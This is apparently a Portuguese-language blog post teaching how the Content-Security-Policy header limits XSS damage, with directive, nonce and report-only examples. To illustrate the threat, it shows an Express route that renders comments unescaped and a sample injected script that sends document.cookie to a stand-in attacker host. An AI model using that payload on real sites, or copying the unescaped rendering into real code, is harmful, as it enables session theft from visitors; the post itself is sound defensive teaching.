Content Security Policy: trave script injetado

Entenda como o header Content-Security-Policy restringe de onde a página pode carregar script e estilo, limitando o estrago de um XSS mesmo quando o ataque consegue injetar algo na página.


Já expliquei aqui como CORS controla quem pode ler resposta entre origens diferentes e como CSRF explora cookie de sessão enviado automaticamente. CSP ataca um terceiro problema, relacionado mas distinto: o que fazer quando, de algum jeito, um script malicioso consegue se injetar dentro da sua própria página, um ataque conhecido como XSS (Cross-Site Scripting).

O problema que o XSS explora

Imagina um site que exibe comentário de usuário sem nenhum cuidado:

app.get("/post/:id", (req, res) => {
  const comentarios = buscarComentarios(req.params.id);
  res.send(`<div>${comentarios.map((c) => `<p>${c.texto}</p>`).join("")}</div>`);
});

Se alguém escreve um comentário contendo <script>fetch('https://atacante.com?cookie=' + document.cookie)</script>, e esse texto vai direto pro HTML sem sanitização, esse script roda de verdade no navegador de qualquer pessoa que visitar aquele post, como se fosse parte legítima da página. Esse script consegue ler cookie, capturar o que o usuário digita, redirecionar pra outro site, fazer praticamente qualquer coisa que o próprio dono da página poderia fazer, porque do ponto de vista do navegador, aquele script está rodando com a mesma permissão de qualquer outro script legítimo daquela origem.

O que o CSP adiciona como segunda camada

Sanitizar e escapar entrada do usuário é a defesa primária, e já expliquei esse cuidado no post de segurança de código. CSP não substitui isso, é uma camada extra: mesmo que, por algum deslize, um script malicioso consiga se injetar na página, o CSP restringe de onde qualquer script pode realmente ser carregado e executado, limitando o estrago mesmo quando a primeira defesa falha.

Isso é configurado através de um header HTTP, enviado em toda resposta:

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.confiavel.com

Com essa configuração, o navegador passa a recusar qualquer script que não venha do próprio domínio ('self') ou do CDN explicitamente listado. Um script injetado via comentário malicioso, mesmo conseguindo entrar no HTML, simplesmente não executa, porque o navegador bloqueia qualquer script inline que não foi explicitamente permitido pela política.

As diretivas mais comuns

Cada tipo de recurso tem sua própria diretiva, permitindo um controle bem granular:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.confiavel.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' https://imagens.exemplo.com data:;
  connect-src 'self' https://api.meusite.com;

default-src define o comportamento padrão pra qualquer tipo de recurso não especificado explicitamente. script-src controla de onde JavaScript pode ser carregado. style-src controla folha de estilo. img-src controla imagem. connect-src controla pra onde a página pode fazer requisição via fetch ou WebSocket, que já expliquei aqui. Cada diretiva aceita sua própria lista de origens confiáveis, independente das outras.

O problema do script inline

Um detalhe que costuma causar dor de cabeça na primeira configuração é que, por padrão, CSP bloqueia script inline, aquele escrito direto dentro de uma tag <script> no HTML, sem vir de um arquivo externo:

<script>
  console.log("isso é bloqueado por padrão com CSP restrito");
</script>

Isso existe de propósito: script inline é exatamente o padrão mais comum de ataque XSS, já que é mais fácil injetar texto dentro do HTML do que convencer o navegador a carregar um arquivo externo malicioso. A solução recomendada não é afrouxar a política com 'unsafe-inline' (o que reabre basicamente a mesma brecha que o CSP existe pra fechar), e sim mover todo script pra arquivo externo, ou usar um nonce, um valor único gerado a cada requisição, que autoriza especificamente aquele bloco inline naquela resposta específica:

Content-Security-Policy: script-src 'self' 'nonce-a8f3k2'
<script nonce="a8f3k2">
  console.log("autorizado só porque tem o nonce certo");
</script>

Como o nonce muda a cada requisição, um script injetado por um atacante nunca sabe qual é o valor correto daquela resposta específica, então não consegue se passar por script autorizado.

Modo report-only pra testar sem quebrar nada

Configurar CSP num site que já existe há tempo, sem nenhuma política antes, corre o risco real de bloquear algo legítimo que você nem sabia que dependia de script inline ou de uma origem externa esquecida. Existe um modo específico pra testar isso com segurança:

Content-Security-Policy-Report-Only: default-src 'self'

Com esse header, nada é bloqueado de fato, mas o navegador registra (e pode reportar pra uma URL configurada) toda violação que teria acontecido se a política estivesse ativa de verdade. Isso permite ajustar a política com base em dado real de uso, antes de trocar pro header definitivo que realmente bloqueia.

Fechando

CSP não substitui sanitizar entrada do usuário, é a defesa que existe justamente pra quando a primeira falha, por descuido ou por uma situação que ninguém previu. Restringir de onde script, estilo e outros recursos podem ser carregados transforma um XSS bem-sucedido, que de outra forma teria controle total sobre a página, numa tentativa que o próprio navegador recusa executar, mesmo com o código malicioso já infiltrado no HTML.

Direto na sua
caixa de entrada.

Um aviso por e-mail sempre que eu publicar um post novo. Sem spam, sem newsletter chata, só isso.